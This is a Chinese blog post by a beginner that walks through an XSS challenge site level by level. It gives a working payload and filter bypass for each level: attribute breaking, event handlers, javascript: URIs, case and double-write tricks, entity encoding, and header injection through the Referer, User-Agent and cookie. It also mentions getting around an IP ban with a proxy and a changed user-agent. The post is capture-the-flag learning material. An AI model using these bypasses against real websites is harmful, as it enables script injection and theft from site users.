xss从零开始之刷xss挑战
[toc]
才学xss,也不知道从何学起,就先各种找平台刷题吧,我觉得刷题是一种可以较快熟悉xss的方式
平台地址:http://test.ctf8.com/
level 1
第一关很简单,反射型xss,get提交一个参数然后会在页面中显示出来,然后查看源代码可以构造出payload。
payload:
1 | </h2><svg onload='alert(1)'> |
好吧,我构造的是第一个payload,但不知道为什么第二个也可以,暂时看不懂,日后再来看吧
level 2
这个和第一个一样,只不过这个在搜索框处,体现了很重要的一点,搜索处容易出现反射型xss。
payload:
1 | test"><svg onload='alert(1)'> |
level 3
这道题把左右尖括号<>转换为html实体,想直接构造标签有点难度,所以在属性处构造,先闭合属性,然后构造新属性,基于事件弹窗。
payload:
1 | 1' onclick='alert(1)'' |
第一个是点击输入框时弹窗,第二个是在输入框输入时弹窗,括号可以用反引号代替。
level 4
就是把第三题的单引号换成双引号就好了,
payload:
1 | 1" onclick='alert(1)'" |
level 5
这里会把
on 替换为 o_n
script 替换为 sc_ript
payload:
1 | "> <a href="javascript:alert(1)">a</a> |
呃呃,练习到此结束了,在这里试payload,结果把我ip封了,挂代理也进不去,我也是无语,这不是练习平台吗。
呃呃,挂了代理,换了个user-agent好了,又可以继续“攻击”他了。。。。。
level 6
这里在level 5的基础上又增加了对属性名的过滤
src 替换为 sr_c
href 替换为 hr_ef
on 替换为 o_n
但是只要大小写就可绕过
payload:
1 | "><a hRef=javascript:alert(1)>xss</a> |
level 7
这里会把on等字符替换为空,双写绕过即可
payload:
1 | 1" oonnclick=alert(1)> |
level 8
对script有过滤
script 替换为 scr_ipt
可以使用html编码,html解析时只会对属性中的值进行html解码,直接构造<script\>
不会解码,但是构造<a href='javascript:alert(1)'>
,会变成<a href='javascript:alert(1)'>
,十进制或者十六进制都可以,所以可以构造payload。
payload:
1 | javascript:alert(1) |
level 9
这个限制又多了些,
链接中必须带有http://
script 替换为 scr_ipt
但是他没有规定http必须放在开头,所以可以使用注释的方式注释掉http
payload:
1 | javascript:alert(1)//http://www.aaa.com |
level 10
这关没有搜索框了,get参数提交尖括号<>会被转义,无法构造,但是查看源代码会发现有三个隐藏的输入框,把其中的type的类型由 hidden 改为 text,随便输入个值回车会发现多了三个参数,试了一下输入点在第三个参数 t_sort
然后就很容易了
payload:
1 | 123" onmouseover='alert(1)' type="text |
level 11
和上一关的payload一样,只不过这次注入点是在 HTTP Request Header 请求头的 Refer 字段
payload:
1 | 123" onmouseover='alert(1)' type="text |
level 12
注入点在user-agent
level 13
注入点在cookie
- Post Title: xss从零开始之刷xss挑战
- Post Author: Katharsis
- Post Link: http://yoursite.com/2020/09/29/xss-challenge-2/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.